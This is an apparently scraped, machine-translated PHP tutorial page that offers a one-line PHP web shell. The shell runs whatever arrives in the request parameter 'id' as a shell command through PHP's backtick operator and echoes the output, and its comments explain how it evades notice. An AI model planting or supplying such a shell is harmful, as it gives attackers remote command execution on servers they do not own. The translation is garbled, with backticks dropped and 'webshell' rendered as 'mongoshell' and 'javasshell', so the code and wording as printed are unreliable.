Php one-sentence mongoshell (non-one-sentence Trojan) _ PHP Tutorial

Php one-sentence mongoshell (not one-sentence Trojan ). Copy the code as follows :? Php * A new php one-sentence mongoshell (non-one-sentence Trojan) principle: if a php runtime encounters a character ''(on the keyboard ~ The lower key of the symbol) will always try to execute The code is as follows:

/* A new php one-sentence javasshell (not one-sentence Trojan)
// Principle: if you encounter a character ''during php running (on the keyboard ~ The lower key of the symbol) will always try to execute the commands contained in ''and return the command execution result (string type );
// Limitations: the signature is obvious, and ''is rarely used in php. anti-virus software can easily scan for and trigger alarms using this signature;'' cannot execute php code;
// Write by skyfire
*/
Echo '$ _ REQUEST [id]';
?>

The http://www.bkjia.com/PHPjc/320003.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/320003.htmlTechArticle code is as follows :? Php/* A new php one-sentence javasshell (non-one-sentence Trojan) // principle: if the php runtime encounters the character ''(on the keyboard ~ The lower key of the symbol) will always try to execute...